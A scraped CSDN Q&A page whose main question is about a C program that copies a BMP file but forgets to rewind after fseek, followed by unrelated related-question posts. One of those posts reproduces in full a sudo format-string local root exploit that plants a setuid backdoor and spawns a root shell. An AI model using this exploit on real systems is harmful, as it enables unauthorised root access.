c语言图片的的复制问题

最近想用c语言写一个复制图片的小程序,用fread和fwrite,代码如下(控制台程序):
#define BUFFER_SIZE 10*1024*1024
main()
{
FILE *out;
FILE *fp;
int length;
static char buffer[BUFFER_SIZE];

    fp = fopen("1.bmp", "rb");
    out = fopen("out.bmp", "wb")

    fseek(fp, 0, SEEK_END);
    length = ftell(fp);

    fread(buffer, 1, length, fp);

    rewind(out);
    fwrite(buffer, 1, length, out);

    fclose(out);
    fclose(fp);

}

程序运行后,out.bmp和1.bmp的大小一样,可是打不开,哪位大神帮忙看一下有什么问题吗

2个回答

fseek之后文件指针已经移动到文件末尾了,,你再fread的时候,还能读到什么,,fseek之后要重新把文件指针指向开头才对

而且你的编程习惯不好,所有调用都不进行返回值判断,一次读取整个文件大小

HANKER131523
HANKER131523 谢谢大神指点,果然是这个问题;我刚开始弄一个图片或者屏幕截图通过tcp传输的例子,还没太考虑成熟,如果分次读取,一般设置多大数组比较合适呢,还不知道TCP一次传输多大文件合适,都是在做尝试
2 年多之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
C语言 gets函数相关问题
``` #include<stdio.h> #include <stdlib.h> #include<conio.h> #include<String.h> int main() { FILE *fp; char ch; fp=fopen("F:\\啦啦.txt","at+"); /* if((fp=fopen("F:\\啦啦.txt","at+"))==NULL) { printf("Cannot open file strike any key exit!"); getch(); exit(1); } ch=fgetc(fp); while (ch != EOF) { putchar(ch); ch=fgetc(fp); } *///这个过程是进行读数据的测试过程 //接下来进行语法分析 ch = getchar(); //这里回车作为输入结束 FILE *stream = stdin; int stdin_len = strlen(stream->_ptr); stream->_ptr[strlen(stream->_ptr)-2]='\0'; if (stdin_len > 0) { fputs(stream->_ptr-1, fp); //stream->_ptr 后面会带有\n\n 不需要就开空间复制前面的输入字符串 } char en[20]; gets(en); printf("%s",en);//测试gets函数效果 system("pause"); return 0; } ``` 我想测试下gets函数效果,这个函数就是运行的时候 ,等待用户输入,然后我弄了个输出,输出结果很变态![图片说明](https://img-ask.csdn.net/upload/201910/09/1570598808_700634.png) 输出结果 变少了 为什么呢。
vb.net如何把一个excel的某部分复制粘贴到另一个excel的某个位置,包括插入的线,图形和规则等等
**两个EXCEL,我想复制第一个excel的某部分,粘贴到第二个excel的某个位置,包括插入的线,图形,和数据规则复制过来全部都一样** 以下是我的逻辑代码片 ``` '删除旧excel的行 AppWokBookOld.Sheets(1).Rows("5:6").Delete ’复制新excel的行 AppWokBookNew.Sheets(1).Rows("5:8").Copy '粘贴新excel的行到旧excel的行 AppWokBookOld.Sheets(1).Rows("5").PasteSpecial(Microsoft.Office.Interop.Excel.XlPasteType.xlPasteFormats) ``` 通过以上操作,可以完成复制,但是插入的线,图形,和输入规则都没有复制过来,我试过修改PasteSpecial方法的参数为xlPasteAll,xlPasteFormulas,结果粘贴过来是个图片 ![图片说明](https://img-ask.csdn.net/upload/201910/22/1571733761_859440.png) 然后修改参数为xlPasteColumnWidths,xlPasteComments,xlPasteFormats的时候,插入的图形,线,和输入规则都没有复制过来,只是把简单的表格复制过来了, 请问还有其他方式吗?
qt 中图标显示不正常,是为啥?
qt界面添加图标.bmp 或者是.ico ,通过qt Dsigner 中的windowIcon项进行添加图标文件,并使之复制到目录下,进行界面预览时可以正常显示dialog的图标,但是是一旦正式运行,图标的显示就异常,似乎是只显示了底下的一部分,换了图标后,有的正常可以,但是我想要的图标就是不能正常显示。贴图:图1是qtDisgnerz中预览情况,图二是编译后的情况。 请大神指点迷津! ![图片说明](https://img-ask.csdn.net/upload/202001/15/1579078081_939967.jpg)![图片说明](https://img-ask.csdn.net/upload/202001/15/1579078095_700965.jpg)
大一c语言的课程设计题目 有点小复杂 急急!
1. 学生成绩管理系统基本要求: 假设有1个班45人的成绩放在1个数组中。系统要求以随机函数生成学生成绩。系统能按照要求根据不同条件对学生成绩进行管理。 2. 系统模块及操作要求: (1) 编写一个成绩生成函数。使用随机数方法,利用随机函数生成学生的各门课程的成绩(每门课程的成绩都是0-100之间的整数),通过调用该函数生成全部学生的成绩。 (2) 先采用冒泡排序法,将学生成绩从高到低进行排序,再输入一个学生的成绩,将此成绩按照排序规律插入已排好序的学生成绩数组,最后将排好序的成绩单进行反序存放。 (3) 在函数中进行全班学生成绩从高到低排名, 排名方式根据函数的style参数进行,如style为‘a'按升序排序,style为 ' d ' 按降序排序。 (4) 用指针优化学生成绩排名。用指针实现数组的输入输出以及数组的排序(在函数中进行)。采用指针方法,输入字符串“ student score ”, 不使用 strcpy() 函数,自行编制函数实现复制该字符串并在第四步输出排序后的成绩单后下一行输出该字符串。 (5) 定义一个结构体数组,存放全班学生的学号,姓名,三门课的成绩,输出单门课成绩最高的学生的学号、姓名、以及该门课程的成绩,输出三门课程的平均分数最高的学生的学号、姓名及其平均分,再将全班学生按照平均分数从高到低用选择法进行排序,输出结果。 (6) 学生成绩文件管理。将全班学生的相关数据,存入文件中,再从文件中读出按照平均分数从高到低进行排序,分别将结果输出到屏幕上和另一文件中,再从文件中读取第 2 , 4 , 6 , 8 , 10 个学生的数据显示。![图片说明](https://img-ask.csdn.net/upload/201605/31/1464670799_705905.jpg)
This application has requested the Runtime to terminate it in an unusual way.(使用版本:QT5.7)?
我用QT写了一个TCP传文件,服务端传文件给客户端, 传小文件(100M以内)没有问题,但是我试着传大文件(1.53G,电影)直接卡死,出现如下图情况 ![图片说明](https://img-ask.csdn.net/upload/201912/19/1576687470_271959.jpg) 根据网上的解决法,是将 mingw492_32\plugins\platforms文件夹,复制到可执行程序同一目录,但是依然无解决。 还有什么办法可以解决的吗,各位大神
救救孩子吧!如何解决读取txt文件出现索引超出了数组的范围的问题
#include<stdio.h> #include<stdlib.h> void main() { typedef struct LNode { char name[6]; int no; int yw; int sx; int yy; struct LNode* next; }LinkList; struct NameNo { int no; int yw; int sx; int total; char name[6]; }st[10]; FILE* fp, * fp1; char ch, sname[6]; int x, i, j; NameNo tmp; LinkList* p, * s; printf("\n"); printf("-------------------------------"); printf("学生成绩管理系统"); printf("--------------------------------"); printf("\n\n"); printf("在您的C盘根目录下是否有cj1.txt和cj2.txt文件?如果有请输入1,"); printf("否则输入0;如果没有,那么程序将终止!1 or 0?"); scanf("%d", &i); if (i == 0) return; printf("\n\n"); printf("对cj1.txt和cj2.txt进行合成请按''"); scanf("%d", &i); if (i != 1) return; printf("正在把cj1.txt和cj2.txt中的数据进行合并\n"); printf("......\n.....\n....\n...\n..\n.\n"); if ((fp = fopen("c:\\cj1.txt", "rt")) == NULL) //从文本文件cj1.txt中读取数据传向cj3.txt { printf("无cj1.txt文本文件,程序结束。\n"); return; } fp1 = fopen("c:\\cj3.txt", "wt"); ch = fgetc(fp); while (ch != EOF) { fputc(ch, fp1); ch = fgetc(fp); } fclose(fp1); fclose(fp); if ((fp = fopen("c:\\cj2.txt", "rt")) == NULL) //从文本文件cj2.txt中读取数据接到cj3.txt的后面 { printf("无cj12.txt文本文件,程序结束。\n"); return; } fp1 = fopen("c:\\cj3.txt", "a"); for (i = 0; i < 37; i++) fgetc(fp); ch = fgetc(fp); while (ch != EOF) { fputc(ch, fp1); ch = fgetc(fp); } fclose(fp1); fclose(fp); printf("合并成功!现在你可以在C盘根目录下看到一个cj3.txt文件\n"); printf("\n\n"); p = (LinkList*)malloc(sizeof(LinkList)); p->next = NULL; fp = fopen("c:\\cj3.txt", "rt");//从合成后的cj3.txt读取数据,生成链表 for (i = 0; i < 36; i++) fgetc(fp); ch = fgetc(fp); while (ch != EOF) { s = (LinkList*)malloc(sizeof(LinkList)); fgets(s->name, 6, fp); for (i = 0; i < 5; i++) fgetc(fp); x = fgetc(fp) - 48; x = x * 10 + fgetc(fp) - 48; s->no = x; for (i = 0; i < 5; i++) fgetc(fp); x = fgetc(fp) - 48; x = x * 10 + fgetc(fp) - 48; s->yw = x; for (i = 0; i < 5; i++) fgetc(fp); x = fgetc(fp) - 48; x = x * 10 + fgetc(fp) - 48; s->sx = x; for (i = 0; i < 5; i++) fgetc(fp); x = fgetc(fp) - 48; x = x * 10 + fgetc(fp) - 48; s->yy = x; s->next = p->next; p->next = s; ch = fgetc(fp); } fclose(fp); printf("对cj3.txt中有不及格的学生信息生成cj4.txt请按''"); scanf("%d", &i); if (i != 1) return; printf("正在生成cj4.txt\n"); printf("......\n.....\n....\n...\n..\n.\n"); if (i == 1) fp = fopen("c:\\cj4.txt", "wt");//把三科成绩中有补考的学生信息放入cj4.txt fputs("姓 名 学号 语文 数学 英语", fp); fclose(fp); fp = fopen("c:\\cj4.txt", "a"); s = p->next; while (s != NULL) { if (s->yw < 60 || s->sx < 60 || s->yy < 60) { ch = '\n'; fputc(ch, fp); fputs(s->name, fp); for (i = 0; i < 5; i++) { ch = ' '; fputc(ch, fp); } ch = s->no / 10 + 48; fputc(ch, fp); ch = s->no - (s->no / 10) * 10 + 48; fputc(ch, fp); for (i = 0; i < 5; i++) { ch = ' '; fputc(ch, fp); } ch = s->yw / 10 + 48; fputc(ch, fp); ch = s->yw - (s->yw / 10) * 10 + 48; fputc(ch, fp); for (i = 0; i < 5; i++) { ch = ' '; fputc(ch, fp); } ch = s->sx / 10 + 48; fputc(ch, fp); ch = s->sx - (s->sx / 10) * 10 + 48; fputc(ch, fp); for (i = 0; i < 5; i++) { ch = ' '; fputc(ch, fp); } ch = s->yy / 10 + 48; fputc(ch, fp); ch = s->yy - (s->yy / 10) * 10 + 48; fputc(ch, fp); s = s->next; } else s = s->next; } fclose(fp); printf("生成成功!现在你可以在C盘根目录下看到一个cj4.txt文件"); printf("\n\n"); s = p->next;//将学生信息从链表复制到数组中 for (i = 0; i < 10; i++) { st[i].no = s->no; st[i].yw = s->yw; st[i].sx = s->sx; st[i].total = s->yw + s->sx + s->yy; for (j = 0; j < 7; j++) st[i].name[j] = s->name[j]; s = s->next; } printf("用直接插入法排序请按'':"); scanf("%d", &i); printf("\n\n"); if (i == 1) { for (i = 1; i < 10; i++)//直接插入法排序 { tmp = st[i]; j = i - 1; while (j >= 0 && tmp.total > st[j].total) { st[j + 1] = st[j]; j--; } st[j + 1] = tmp; } printf(" 直接插入法排序后总分从大到小排序为\n"); printf("\n\n"); printf("姓 名 学号 语文 数学 英语 总分\n"); for (i = 0; i < 10; i++) { if (st[i].no < 10) { printf("%s ", st[i].name); printf("%d", 0); printf("%d ", st[i].no); printf("%d ", st[i].yw); printf("%d ", st[i].sx); printf("%d ", st[i].total - st[i].yw - st[i].sx); printf("%d\n", st[i].total); printf("\n"); } else { printf("%s ", st[i].name); printf("%d ", st[i].no); printf("%d ", st[i].yw); printf("%d ", st[i].sx); printf("%d ", st[i].total - st[i].yw - st[i].sx); printf("%d\n", st[i].total); printf("\n"); } } } printf("将排好序的数组打乱\n"); printf("\n"); s = p->next;//将排好序的数组打乱,从新用冒泡法排序 for (i = 0; i < 10; i++) { st[i].no = s->no; st[i].yw = s->yw; st[i].sx = s->sx; st[i].total = s->yw + s->sx + s->yy; for (j = 0; j < 7; j++) st[i].name[j] = s->name[j]; s = s->next; } printf("用冒泡法排序请按'':"); scanf("%d", &i); printf("\n\n"); if (i == 1) { for (i = 0; i < 9; i++)//冒泡法排序 { for (j = 9; j > i; j--) if (st[j].total > st[j - 1].total) { tmp = st[j]; st[j] = st[j - 1]; st[j - 1] = tmp; } } printf(" 冒泡法排序后总分从大到小排序为\n"); printf("\n\n"); printf("姓 名 学号 语文 数学 英语 总分\n"); for (i = 0; i < 10; i++) { if (st[i].no < 10) { printf("%s ", st[i].name); printf("%d", 0); printf("%d ", st[i].no); printf("%d ", st[i].yw); printf("%d ", st[i].sx); printf("%d ", st[i].total - st[i].yw - st[i].sx); printf("%d\n", st[i].total); printf("\n"); } else { printf("%s ", st[i].name); printf("%d ", st[i].no); printf("%d ", st[i].yw); printf("%d ", st[i].sx); printf("%d ", st[i].total - st[i].yw - st[i].sx); printf("%d\n", st[i].total); printf("\n"); } } } printf("\n"); printf("请输入你要查找的学生姓名:(注意:如果名字为两个字,则中间用两个空格!)\n"); do { x = 1; if (i == 1) printf("输入姓名:"); getchar(); for (i = 0; i < 7; i++) sname[i] = getchar(); for (i = 0; i < 10; i++)//在数组中顺序查找 { for (j = 0; st[i].name[j] == sname[j]; j++) {} if (j == 6) { printf(" 数组中查找结果"); printf("\n\n"); printf("姓 名 学号 语文 数学 英语 总分\n"); printf("%s", st[i].name); printf(" %d", st[i].no); printf(" %d", st[i].yw); printf(" %d", st[i].sx); printf(" %d", st[i].total - st[i].yw - st[i].sx); printf(" %d\n\n", st[i].total); x = 0; } } if (x != 0) printf(" 查无此人!\n"); s = p->next; while (s != NULL)//在链表中顺序查找 { for (i = 0; s->name[i] == sname[i]; i++) {} if (i == 6) { printf(" 链表中查找结果"); printf("\n\n"); printf("姓 名 学号 语文 数学 英语 总分\n"); printf("%s", s->name); printf(" %d", s->no); printf(" %d", s->yw); printf(" %d", s->sx); printf(" %d", s->yy); printf(" %d\n\n", s->yw + s->sx + s->yy); x = 0; } s = s->next; } if (x != 0) printf(" 查无此人!\n"); i = 0; printf("继续查找请按''"); scanf("%d", &i); } while (i == 1); printf("\n\n"); printf("-----------------------------谢谢使用!--------------------------------\n\n"); } 请问如何解决索引超出了数组的范围这一问题 现有学生成绩信息文件1(1.txt),内容如下 姓名 学号 语文 数学 英语 张明明 01 67 78 82 李成友 02 78 91 88 张辉灿 03 68 82 56 王露 04 56 45 77 陈东明 05 67 38 47 学生成绩信息文件2(2.txt),内容如下: 姓名 学号 语文 数学 英语 陈果 31 57 68 82 李华明 32 88 90 68 张明东 33 48 42 56 李明国 34 50 45 87 陈道亮 35 47 58 77 …. .. .. .. … ![图片说明](https://img-ask.csdn.net/upload/201912/22/1577019414_694126.png)
安装OPNET前要配置C环境,但VS2015的VC文件下缺lib文件夹怎么解决
安装OPNET前要配置C环境,但我的VS2015的VC文件夹下没有lib文件夹怎么办,下面是配置环境需要的语句举例以及VC文件夹截图 编辑 Path:C:\Program Files\Microsoft Visual Studio 12.0\VC\bin; C:\Program Files\Microsoft Visual Studio 12.0\Common7\IDE; C:\Program Files\Microsoft Visual Studio 12.0\Common7\Tools; 新建 lib:C:\Program Files\Microsoft Visual Studio 12.0\VC\lib; 新建 include:C:\Program Files\Microsoft Visual Studio 12.0\VC\include; 问题就是没有这个lib文件夹,试过了用别的目录里的lib不行 VS2015的VC在14.0文件夹里,上述只是复制为举例![图片说明](https://img-ask.csdn.net/upload/201909/20/1568966641_870588.png) 或者说谁有这个VC文件夹下的lib文件夹发我份是否可行
请教一个在Linux Ubuntu12.04下通过sudo_debug函数的格式化字符串漏洞来获取root权限的问题
我于网上抄了一个大佬的代码,[源码地址](https://www.exploit-db.com/exploits/25134 "") 代码如下: ``` #include <sys/resource.h> #include <sys/utsname.h> #include <gnu/libc-version.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/time.h> #include <sys/stat.h> #include <string.h> #include <sys/wait.h> #define OFFSET 65000 #define NUM_THREADS 0 /* files that we create on disk */ #define BACKDOOR "e.c" #define BD_COMPILED "e" #define SUDO_ASKPASS "e.sh" extern char **environ; struct utsname ver; void *kill_sudo(); void *pop_shell(); void *set_env(); int is_glibc_vuln(); int is_sudo_vuln(); int write_backdoor(); /* hardcoded path to sudo */ const char sudo[] = "/usr/bin/sudo\0"; char s_version[20]; /* vuln versions of sudo */ char vuln_sudo_versions[4][20] = { {"1.8.0"}, {"1.8.1"}, {"1.8.2"}, {"1.8.3"} }; /* vuln versions of glibc */ char vuln_glibc_versions[4][20] = { {"2.14.90"}, }; int main(int argc, char *argv[]) { struct rlimit rara; int status; char ready; uname(&ver); printf("[+] Targeting release: %s\n", ver.release); if (is_glibc_vuln()){ if(is_sudo_vuln()){ if (write_backdoor()){ printf("[+] Press enter when ready..."); scanf("%c", &ready); }else{ exit(0); } }else{ exit(0); } }else{ exit(0); } // ulimited stack rara.rlim_max = rara.rlim_cur = -1; setrlimit(RLIMIT_STACK, &rara); pid_t pid; if((pid = fork()) < 0) { printf("[-] An error occurred while forking sudo\n"); return -1; } else if(pid == 0){ set_env(); kill_sudo(); }else{ wait(&status); if (WIFEXITED(status)) { sleep(1); pop_shell(); } } } int is_glibc_vuln(){ int i, returnval = -1; for (i = 0; i < 4; i++){ if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){ printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version()); returnval = 1; } } return returnval; }; int is_sudo_vuln(){ int i, returnval = -1;; FILE *fp; char path[20]; char sudo_ver_cmd[50]; snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo); fp = popen(sudo_ver_cmd, "r"); if (fp == NULL) { printf("[-] Failed to get sudo's version\n[-]Exiting.." ); exit(0); } fgets(path, 21, fp); memmove (s_version, path+13,5); for (i = 0; i < 4; i++){ if (strcmp(s_version, vuln_sudo_versions[i]) == 0){ printf("[+] Found a vuln sudo version: %s\n", s_version); returnval = 1; } } return returnval; }; int write_backdoor(){ int returnval = 1; char askpass[100], compile_bd[100]; char bdcode[] = "#include <stdio.h>\r\n" "#include <stdlib.h>\r\n" "int main(int argc, char **argv){\r\n" " printf(\"[+] Getting root..!\\n\");\r\n" " setresuid(0,0,0);\r\n" " printf(\"[+] Cleaning system.\\n\");\r\n" " remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n" " printf(\"[+] Launching root shell!\\n\");\r\n" " system(\"/bin/sh\");\r\n" " exit(0);\r\n" "}\r\n"; FILE *fp = fopen(BACKDOOR,"wb"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing backdoor: %s\n", BACKDOOR); } fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp); memset(compile_bd, 0x00, sizeof(compile_bd)); snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED); printf("[+] Compiling backdoor: %s\n", BD_COMPILED); fp = popen(compile_bd, "r"); if (fp == NULL) { printf("[-] Failed to compile the backdoor, check the gcc path\n" ); returnval = -1; } fclose(fp); memset(askpass, 0x00, sizeof(askpass)); snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED); fp = fopen(SUDO_ASKPASS,"w"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS); } fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp); chmod(SUDO_ASKPASS, 0755); return returnval; }; void *set_env(){ int i = 0; char ld_preload_evar[OFFSET] = "LD_PRELOAD="; char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40}; char sudo_askpass_evar[40]; for (i=0; i<(OFFSET/4); i++){ memcpy(user_details+(i*4), user_details, sizeof(int)); } memmove (ld_preload_evar+11, user_details , sizeof(user_details)); memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar)); snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS); // set our environment putenv(ld_preload_evar); putenv(sudo_askpass_evar); }; void *kill_sudo(){ char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$"; char *args[] = { fmtstring, "-D9", "-A", "", NULL}; // trigger the vuln execve(sudo, args, environ); }; void *pop_shell(){ // set our environment unsetenv("LD_PRELOAD"); unsetenv("SUDO_ASKPASS"); char *exploit_args[] = { BD_COMPILED, NULL }; execve(BD_COMPILED, exploit_args, environ); }; ``` 这是别人运行后的截图 ![图片说明](https://img-ask.csdn.net/upload/201912/25/1577248386_581331.png) 这是我运行的截图 ![这是我运行的截图](https://img-ask.csdn.net/upload/201912/25/1577209594_514497.png) 可以看出来我的没有运行成功,我是自己复制下来的,完全没有改动,sudo版本也是相同的,我实在是不知道原因何在,只能来求助各位大佬了
Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000004、Linux4.19.66/at91/ramdisk/gcc7.3.1。
**环境描述:** 最近移植4.19.66内核,使用ramdisk文件系统,at91sam9x5,编译器使用的是gcc-linaro-7.3.1-2018.05-x86_64_arm-linux-gnueabi **问题如下:** 挂载文件系统报错 kernel panic - not syncing: Attempted to kill init exitcode=0x00000004 ![图片说明](https://img-ask.csdn.net/upload/201909/27/1569550340_681476.jpg) **尝试过的方法:** 网上所说的内核和busybox编译选择EABI选项,这个确认是选择了的,无法解决我的问题! 同时搜索看到有的朋友说gcc编译器的lib库复制问题,请问gcc库复制有什么特别的地方,我是将lib目录下的内容全部删除、sudo rm -rf *,然后复制,sudo cp -rf * ./,最后使用strip缩小文件大小。
mvn install离线使用不了,离线还是需要下载一堆东西
办公室电脑不能连外网,需要把jar包添加到本地maven仓库,网上查到可以使用mvn -install命令,如: ``` mvn install:install-file -Dfile=e:/it-blacklist-0.0.1-SNAPSHOT.jar -DgroupId=cn.blacklist -DartifactId=it-blacklist -Dversion=0.0.1-SNAPSHOT -Dpackaging=jar ``` 该命令我笔记本测试联网可用,但在台式机离线使用的时候,会尝试下载install的一些插件,但是因为台式机是离线的,导致下载不到就报错: No plugin found for prefix 'install' in the current project and in the plugin groups [org.apache.maven.plugins, org.codehaus.mojo] available from the repositories. 如附图所示。 ![图片说明](https://img-ask.csdn.net/upload/201911/25/1574679537_745197.jpg) 我想了一些办法解决,就是把笔记本上行mvn install执行过后的缓存文件复制到台式机上。即把笔记本上的maven仓库C:\Users\用户名\.m2\repository整个复制到台式机上覆盖响应文件夹,但是台式机仍然会尝试下载。 我在笔记本上的相应文件夹中是可以看到尝试下载的那些文件的。但是就是无法让台式机在离线的时候使用它。不知道有没有大佬知道应该怎么操作解决这个问题。
为什么dev c代码修改以后编译运行仍然运行出原结果?
改之前的代码如下,后来删除了82和148行的cout,编译结果却没有变化,重开了dev c也仍然没法解决这个问题。 更改后结果仍然未变 ![图片说明](https://img-ask.csdn.net/upload/201910/13/1570935477_686763.jpg) 编译似乎也无问题![图片说明](https://img-ask.csdn.net/upload/201910/13/1570935832_663589.png) 而如果把代码复制重新重新编译能正确获得结果。 ``` #include<iostream> using namespace std; typedef struct StackNode { char data; struct StackNode *next; }StackNode,*LinkStack; typedef struct QNode { char data; struct QNode *next; }QNode,*QueuePtr; typedef struct { QueuePtr front; QueuePtr rear; }LinkQueue; class check { private: public: LinkQueue Q; LinkStack S; int CreateStack(LinkStack &S); int PushStack(LinkStack &S,char e); int PopStack(LinkStack &S,char &e); int GetStack(LinkStack &S,char &e); int CreateQueue(LinkQueue &Q); int EnterQueue(LinkQueue &Q,char e); int DeleteQueue(LinkQueue &Q,char &e); int checking(LinkQueue &Q,LinkStack &S); }; int check::CreateStack(LinkStack &S) { S=new StackNode; if(!S) { cout<<"error"<<endl; return 0; } S=NULL; return 1; } int check::PushStack(LinkStack &S,char e) { StackNode *q; q=new StackNode; q->data=e; q->next=S; S=q; return 1; } int check::PopStack(LinkStack &S,char &e) { if(S==NULL) return 0; StackNode *p; e=S->data; p=S; S=S->next; delete p; return 1; } int check::GetStack(LinkStack &S,char &e) { e=S->data; return 1; } int check::CreateQueue(LinkQueue &Q) { Q.front=Q.rear=new QNode; if(!Q.front) return 0; Q.front->next=NULL; cout<<"请输入:(结束前请输入 / )"<<endl; char e; cin>>e; while(e!='/') { EnterQueue(Q,e); cin>>e; cout<<e<<" "; } return 1; } int check::EnterQueue(LinkQueue &Q,char e) { QNode *p; p=new QNode; p->next=NULL; p->data=e; Q.rear->next=p; Q.rear=Q.rear->next; return 1; } int check::DeleteQueue(LinkQueue&Q,char &e) { QNode *p; p=Q.front->next; e=p->data; Q.front->next=p->next; if(Q.rear==p) { Q.rear=Q.front; return 0; } delete p; return 1; } int check::checking(LinkQueue &Q,LinkStack &S) { int i=1,t=0; char e; while(i!=0) { i=DeleteQueue(Q,e); t++; if(e=='('||e=='[') { PushStack(S,e); } else if(e==']') { char c; PopStack(S,c); if(c!='[') { cout<<"error: can't find [ , position:"<<t<<endl; return 0; } } else if(e==')') { char c; PopStack(S,c); if(c!='(') { cout<<"error: can't find ( , position"<<t<<endl; return 0; } } } if(PopStack(S,e)) { cout<<"error: can't find ] or ) to combo"<<endl; return 0; } /*这个if执行对每个左括号都需要右括号来配对的判断,原题目并不做此要求*/ cout<<i<<" "; return 1; } int main() { class check C; C.CreateStack(C.S); C.CreateQueue(C.Q); int k=0; k=C.checking(C.Q,C.S); if(k==1) cout<<"error:0"<<endl; return 0; } ```
STL中的copy()与copy_backward()效果真的有区别?
emmmm。copy是从第一个开始复制的,copy_backward是从末尾开始复制的。这确实没有问题。然后如下图同一个数组用copy然后有重叠的话会导致覆盖,而copy_backward就不会覆盖,看起来确实是没有问题。 ![图片说明](https://img-ask.csdn.net/upload/201908/18/1566123153_709863.png) 使用如下代码的时候发现并不是这回事啊 ``` #include <iostream> #include <math.h> #include <string.h> #include <vector> #include <iterator> #include <algorithm> using namespace std; void printf_vector(string str, vector<int> &V) //打印vector中所有的元素 { cout << str; for (int i = 0; i < V.size(); i++) { cout << V[i] << " "; } cout << endl; } int main() { vector<int> V1, V2; for (int i = 0; i < 10; i++) //V1跟V2都变成0-9 { V1.push_back(i); V2.push_back(i); } printf_vector("V1 ", V1); printf_vector("V2 ", V2); V1.resize(20); //resize成20,新加的自动置为零 V2.resize(20); printf_vector("V1 ", V1); printf_vector("V2 ", V2); copy(V1.begin(), V1.begin() + 10, V1.begin() + 3); //前10个元素复制到begin+3位置后 顺序 copy_backward(V2.begin(), V2.begin() + 10, V2.begin() + 13); //前10个元素复制到begin+13位置前 倒序 printf_vector("V1 ", V1); printf_vector("V2 ", V2); system("pause"); return 0; } ``` 效果如下图 ![图片说明](https://img-ask.csdn.net/upload/201908/18/1566124288_774418.png) 可见copy并没有出现覆盖啊,数据平移得好好的,跟copy_backward的效果一毛一样呀。有哪位大佬告知一下问题出在哪吗?
系统卡的不动,求救优化办法。
![图片说明](https://img-ask.csdn.net/upload/201909/13/1568379935_124652.png) 好好个电脑,卡的动都动不了,d、e、f这是一个机械盘,c盘是独立的固态。 有没有专家指导一下怎么优化呀,磁盘吞吐量也上不去,不应该就这么点吞吐量呀。 ![图片说明](https://img-ask.csdn.net/upload/201909/13/1568380266_610887.png) 这是复制粘贴的时候,磁盘吞吐量情况,上面那个图是关闭虚拟机的时候,或者vs打开一个比较大的项目的时候。 希望来个大牛给指点一下,好好一个配置偶尔就搞成这样,很崩溃,也不是每次都这样。 下图为cpu参数 ![图片说明](https://img-ask.csdn.net/upload/201909/13/1568380398_471548.png)
C语言小学计算出题程序,三个linker error求解释!
题目要求 ![图片说明](https://img-ask.csdn.net/upload/201607/05/1467700498_614422.jpg) .h文件的代码如下 ``` #include<stdio.h> #include<stdlib.h> #include<string.h> #define MAX_id_NUM 10 #define test_NUM 10 typedef struct student { char ID[MAX_id_NUM]; int score; int time; }student;// 定义student结构存储学生ID与对应成绩 typedef struct problem { int t;//区分类型||1==乘法||2==除法||3==加法||4==减法 int n1;//第一个运算数 int n2;//第二个运算数 int c_A;//正确答案 int u_A;//学生输入的答案 }problem;//定义problem结构存储问题与答案 student user;//全局变量user保存当前登录学生的ID与成绩 int quit=1;//退出的标识,当 quit==1时程序运行循环,quit==0时退出循环程序结束 void menu();//菜单函数,调出主要选择页面 int test();//算数测试函数 void W_file();//将成绩写入文档 int random1();//生成1~4的随机数 int random2(int i);//生成 0~99的随机数 int random3(int i);//生成0~10的随机数 int random4(int i);//生成0~49的随机数 void check();//查询函数,调出文档全部信息 ``` ``` #include<stdio.h> #include<stdlib.h> #include<string.h> #include<time.h> #include"head.h" int type=1; problem T[10]; //10道题 10个信封 int score=0; //分数从0开始记 void funcA() { int i=0,j=0; for(i=0;i<10000;i++) for(j=0;j<10000;j++) { int test() //产生随机数 { int i,flag=1; //类型:加减乘除 标志 int num1,num2,num3=100,num4; for(i=0;i<test_NUM;i++) { type=random1(); //随机函数 随机产生1234 flag=1; // switch(type) { case 1: //乘法 while(flag) { num1=random3(1); num2=random3(9); num3=num1*num2; if(num3<=99&&num3>=0)flag=0; //跳出WHILE循环 } printf("%d * %d=",num1,num2); scanf("%d",&num4); if(num3==num4)score+=10; T[i].t=1; T[i].n1=num1; T[i].n2=num2; T[i].c_A=num3; //正确回答 T[i].u_A=num4; //你的回答 break; case 2: while(flag) { num1=random2(1); num2=random3(9); if(num2==0)continue; num3=num1/num2; if(num3<=99&&num3>=0)flag=0; } printf("%d / %d=",num1,num2); scanf("%d",&num4); if(num3==num4)score+=10; T[i].t=2; T[i].n1=num1; T[i].n2=num2; T[i].c_A=num3; T[i].u_A=num4; break; case 3: while(flag) { num1=random2(1); num2=random2(9); num3=num1+num2; if(num3<=99&&num3>=0)flag=0; } printf("%d + %d=",num1,num2); scanf("%d",&num4); if(num3==num4)score+=10; T[i].t=3; T[i].n1=num1; T[i].n2=num2; T[i].c_A=num3; T[i].u_A=num4; break; default: while(flag) { num1=random2(2); num2=random4(1); num3=num1-num2; if(num3<=99&&num3>=0)flag=0; } printf("%d - %d=",num1,num2); scanf("%d",&num4); if(num3==num4)score+=10; T[i].t=4; T[i].n1=num1; T[i].n2=num2; T[i].c_A=num3; T[i].u_A=num4; break; } } } } int main() { int i=0; //计数 int error; //判断是否有错(id) 不符合标准=1 quit=1; //继续运行 char ID_NUM[MAX_id_NUM]; //临时存放ID clock_t start,finish; double duration; printf("[*****Welcome into MathTest system!*****]\n"); while(quit) //不断循环 =0时循环停止 { user.score=0; //查看分数 